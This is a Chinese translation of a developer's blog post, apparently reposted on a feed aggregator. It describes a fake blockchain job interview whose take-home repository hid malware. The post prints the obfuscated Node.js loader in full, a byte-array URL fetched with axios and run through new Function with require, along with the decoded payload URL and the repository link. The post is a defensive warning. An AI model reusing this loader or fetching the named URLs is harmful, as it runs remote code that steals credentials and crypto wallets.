惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

小众软件
小众软件
N
News and Events Feed by Topic
A
About on SuperTechFans
aimingoo的专栏
aimingoo的专栏
The Cloudflare Blog
H
Heimdal Security Blog
Schneier on Security
Schneier on Security
Engineering at Meta
Engineering at Meta
Google Online Security Blog
Google Online Security Blog
宝玉的分享
宝玉的分享
AI
AI
The GitHub Blog
The GitHub Blog
MongoDB | Blog
MongoDB | Blog
www.infosecurity-magazine.com
www.infosecurity-magazine.com
The Last Watchdog
The Last Watchdog
T
Troy Hunt's Blog
S
Security @ Cisco Blogs
H
Hacker News: Front Page
F
Fortinet All Blogs
博客园_首页
S
Secure Thoughts
N
News and Events Feed by Topic
P
Proofpoint News Feed
Microsoft Azure Blog
Microsoft Azure Blog
I
InfoQ
Spread Privacy
Spread Privacy
Hacker News - Newest:
Hacker News - Newest: "LLM"
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
C
Check Point Blog
Hugging Face - Blog
Hugging Face - Blog
Hacker News: Ask HN
Hacker News: Ask HN
C
CXSECURITY Database RSS Feed - CXSecurity.com
酷 壳 – CoolShell
酷 壳 – CoolShell
Stack Overflow Blog
Stack Overflow Blog
L
LINUX DO - 最新话题
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
S
Schneier on Security
Know Your Adversary
Know Your Adversary
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Scott Helme
Scott Helme
P
Privacy & Cybersecurity Law Blog
S
Securelist
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
O
OpenAI News
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
PCI Perspectives
PCI Perspectives
L
LangChain Blog
雷峰网
雷峰网
Security Archives - TechRepublic
Security Archives - TechRepublic
V2EX - 技术
V2EX - 技术

编程笔记

解决Fish Shell中使用vfox报错,Lacks hook support 股票配债缴款操作指南 Deepseek大模型越狱/破甲提示词 用DeepSeek-V4-Pro大模型写长篇小说,网文 全网寻找的同花顺板块同列网页版来了!盯盘效率提升 5 倍的黑科技 等一个黄金坑:中海物业跌到什么价位,到手股息率能有6%? Claude Code(1)在 WSL Ubuntu 上安装和配置指南 (译)AI 裁员潮:亚马逊、微软等科技巨头将 2025 年裁员归因于人工智能 AI|L2和L3级自动驾驶有什么区别 AI|Gemini CLI 实用技巧与窍门 AI|Gemini CLI Tips & Tricks 限制 Microsoft Edge 浏览器的内存占用 (Repost)4.3 Million Browsers Infected,Inside ShadyPanda's 7-Year Malware Campaign (译)430万浏览器被感染,揭秘 ShadyPanda 持续 7 年的恶意软件活动 github Fine-grained personal access token 使用 必应搜索屏蔽垃圾网站 译|Linux 启动过程:从按下电源到内核 独立开发:AI图生图获得第一位付费用户,现在支持在线支付了 译|在 Go 中防止 CSRF 的现代方法,CrossOriginProtection AI图生图:释放你的无限创造力,免费在线生成惊艳图像 AI & Tech 最新发展 Serverless|在阿里云FC上部署Go,构建环境中GO版本的切换 AI|Gemini CLI,自定义斜杠命令(译) AI|Gemini CLI,Custom slash commands(转载)
译|面试官引诱我安装恶意软件(我是如何在一次“工作面试”中差点被黑的)
本文作者: gemini · 2025-10-17 · via 编程笔记

我差30秒就在我的机器上运行了恶意软件。

攻击媒介?来自一家“合法”区块链公司的虚假编程面试。

以下是一个复杂的诈骗操作如何几乎骗到我,以及为什么每个开发人员都应该阅读这篇文章。

骗局的设置

上周,我收到了 Mykola Yanchii 的一条 LinkedIn 消息。他是 Symfa 的首席区块链官。真实的公司。真实的 LinkedIn 个人资料。1000 多个联系人。一切看起来都很完美。

消息写得很流畅、专业。“我们正在开发 BestCity,一个旨在改变房地产工作流程的平台。有兼职职位。灵活的结构。”

我做了 8 年的自由职业者。构建过 Web 应用程序,参与过各种项目,也做过代码审查。我通常对安全问题很偏执——或者说我自以为是。

这看起来很合法。所以我同意了通话。

诱饵

在我们见面之前,Mykola 给我发了一个“测试项目”——这是技术面试的标准做法。一个用于评估我技能的 React/Node 代码库。30 分钟的测试。很简单。

Bitbucket 仓库看起来很专业。干净的 README。合适的文档。甚至还有那张公司里常见的、一个女人拿着平板电脑站在房子前的照片。你懂的。

这就是我差点搞砸的地方:我开会要迟到了。只有大约 30 分钟的时间来审查代码。所以我做了懒惰的开发人员会做的事情——我开始在没有先运行代码的情况下到处翻看代码库。

通常,我会沙箱化所有东西。Docker 容器。隔离的环境。但我当时很匆忙。

我花了 30 分钟修复了明显的错误,添加了一个 docker-compose 文件,清理了代码。都是些标准操作。准备好运行它并展示我的工作。

然后我有了那种偏执的开发人员时刻。

幸免于难

在敲下 npm start 之前,我向我的 Cursor AI 代理提出了这个提示:

“在我运行这个应用程序之前,你能看看这个代码库中是否有任何可疑的代码吗?比如读取它不应该读取的文件,访问加密钱包等。”

然后,我惊呆了。

在 server/controllers/userController.js 的正中间,坐落着这个“杰作”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

(async () => {
const byteArray = [
104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,
110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,
98, 50, 48, 51, 49, 102, 98, 57
];
const uint8Array = new Uint8Array(byteArray);
const decoder = new TextDecoder('utf-8');
axios.get(decoder.decode(uint8Array))
.then(response => {
new Function("require", response.data.model)(require);
})
.catch(error => { });
})();

混淆的。鬼鬼祟祟的。邪恶的。而且 100% 活跃——嵌入在合法的管理功能之间,一旦访问管理路由,就会以完整的服务器权限执行。

我解码了那个字节数组:https://api.npoint.io/2c458612399c3b2031fb9

当我第一次访问该 URL 时,它是活动的。我获取了有效载荷。纯粹的恶意软件。那种会窃取一切的东西——加密钱包、文件、密码,你的整个数字存在。

更绝的是:该 URL 在 24 小时后就失效了。这些家伙不是在开玩笑——他们已经设置了他们的基础设施来快速销毁证据。

我通过 VirusTotal 运行了有效载荷——自己看看行为分析。剧透警告:它很恶心。

骗局的操作

这不是一些业余的骗局。这是复杂的:

  • LinkedIn 个人资料: Mykola Yanchii 看起来 100% 真实。首席区块链官。合适的工作经历。甚至还有那些关于“创新”和“区块链咨询”的令人尴尬的 LinkedIn 帖子。
  • 公司: Symfa 有一个完整的 LinkedIn 公司页面。专业的品牌。多名员工。关于“用区块链改造房地产”的帖子。他们甚至还有附属页面和关注者网络。
  • 方法: 最初的接触中没有危险信号。专业的语言。合理的项目范围。他们甚至使用 Calendly 进行日程安排。
  • 有效载荷: 恶意代码被战略性地放置在服务器端控制器中,准备在访问管理功能时以完整的 Node.js 权限执行。

心理学

这就是为什么这如此危险:

  • 紧迫性: “在会议前完成测试以节省时间。”
  • 权威性: LinkedIn 验证的个人资料,真实的公司,专业的设置。
  • 熟悉度: 标准的带回家的编程测试。每个开发人员都做过几十个这样的测试。
  • 社会认同: 拥有真实员工和真实联系的真实公司页面。

我差点就上当了。而我对这些东西很偏执。

教训

一个简单的人工智能提示让我免于灾难。

不是花哨的安全工具。不是昂贵的杀毒软件。只是在执行未知代码之前,让我的编码助手查找可疑模式。

可怕的是什么?这种攻击媒介对开发人员来说是完美的。我们整天下载和运行代码。GitHub 仓库、npm 包、编程挑战。我们大多数人并不会对每件事都进行沙箱化。

这是服务器端恶意软件。完整的 Node.js 权限。可以访问环境变量、数据库连接、文件系统、加密钱包。一切。

规模

如果这种复杂的行动正在大规模地针对开发人员,那么已经有多少人受到了攻击?他们现在在多少个生产系统中?

  • 完美的定位: 开发人员是理想的受害者。我们的机器包含了王国的钥匙:生产凭证、加密钱包、客户数据。
  • 专业的伪装: LinkedIn 的合法性、真实的代码库、标准的面试流程。
  • 技术复杂性: 多层混淆、远程有效载荷传递、死人开关、服务器端执行。

一次成功的感染可能会危及大公司的生产系统、价值数百万的加密货币持有量、成千上万用户的个人数据。

底线

如果你是一名正在获得 LinkedIn 工作机会的开发人员:

  1. 始终沙箱化未知代码。Docker 容器、虚拟机,随便什么。永远不要在你的主机器上运行它。
  2. 使用人工智能扫描可疑模式。只需要 30 秒。可以拯救你的整个数字生活。
  3. 验证一切。真实的 LinkedIn 个人资料并不意味着真实的人。真实的公司并不意味着真正的机会。
  4. 相信你的直觉。如果有人催促你执行代码,那就是一个危险信号。

这个骗局如此复杂,以至于它骗过了我最初的 BS 检测器。但一个偏执的时刻和一个简单的人工智能提示就揭露了整个事情。

下次有人给你发“编程挑战”时,请记住这个故事。

你的加密钱包会感谢你的。


如果你是一名运行过 LinkedIn 招聘人员发来的“编程挑战”的开发人员,你可能应该把这篇文章读两遍。

LinkedIn 个人资料

7d89d814-b484-49ed-bb94-d80f6c9a4e0b.png

8c6823b4-dd93-4958-9aaf-f50bbf321feb.png

消息

aed5f0d5-0eaa-4670-a711-575163411278.png

ced99dd5-dd32-4007-9b0d-ac6aac757ad2.png

bit bucket

522da775-a762-4516-9c99-6b26487407a0.png

https://bitbucket.org/0x3bestcity/test_version/src/main/ - 不确定这个链接会保留多久。

原文